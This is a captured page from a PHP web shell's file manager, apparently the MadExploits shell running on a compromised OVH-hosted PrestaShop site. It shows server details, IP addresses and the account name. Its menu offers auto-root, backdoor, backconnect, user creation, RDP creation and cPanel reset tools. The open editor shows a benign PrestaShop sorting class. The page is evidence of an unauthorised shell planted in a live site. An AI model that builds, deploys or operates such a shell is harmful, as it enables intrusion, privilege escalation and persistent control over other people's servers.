Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
newmed /
src /
Core /
Product /
Search /
[ HOME SHELL ]
Name
Size
Permission
Action
Exception
[ DIR ]
drwx---r-x
Facet.php
5.07
KB
-rw----r--
FacetCollection.php
1.85
KB
-rw----r--
FacetsRendererInterface.php
1.75
KB
-rw----r--
Filter.php
5.2
KB
-rw----r--
Pagination.php
4.29
KB
-rw----r--
ProductSearchContext.php
3.03
KB
-rw----r--
ProductSearchProviderInterface...
1.48
KB
-rw----r--
ProductSearchQuery.php
5.23
KB
-rw----r--
ProductSearchResult.php
3.92
KB
-rw----r--
SortOrder.php
6.16
KB
-rw----r--
SortOrderFactory.php
1.93
KB
-rw----r--
SortOrdersCollection.php
2.42
KB
-rw----r--
URLFragmentSerializer.php
3.95
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SortOrdersCollection.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Core\Product\Search; use Symfony\Component\Translation\TranslatorInterface; /** * This class provide the list of default Sort Orders. */ final class SortOrdersCollection { /** * @var TranslatorInterface the translator */ private $translator; public function __construct(TranslatorInterface $translator) { $this->translator = $translator; } /** * @return array * * @throws \Exception */ public function getDefaults() { return [ (new SortOrder('product', 'position', 'desc'))->setLabel( $this->translator->trans('Relevance', [], 'Shop.Theme.Catalog') ), (new SortOrder('product', 'name', 'asc'))->setLabel( $this->translator->trans('Name, A to Z', [], 'Shop.Theme.Catalog') ), (new SortOrder('product', 'name', 'desc'))->setLabel( $this->translator->trans('Name, Z to A', [], 'Shop.Theme.Catalog') ), (new SortOrder('product', 'price', 'asc'))->setLabel( $this->translator->trans('Price, low to high', [], 'Shop.Theme.Catalog') ), (new SortOrder('product', 'price', 'desc'))->setLabel( $this->translator->trans('Price, high to low', [], 'Shop.Theme.Catalog') ), ]; } }
Close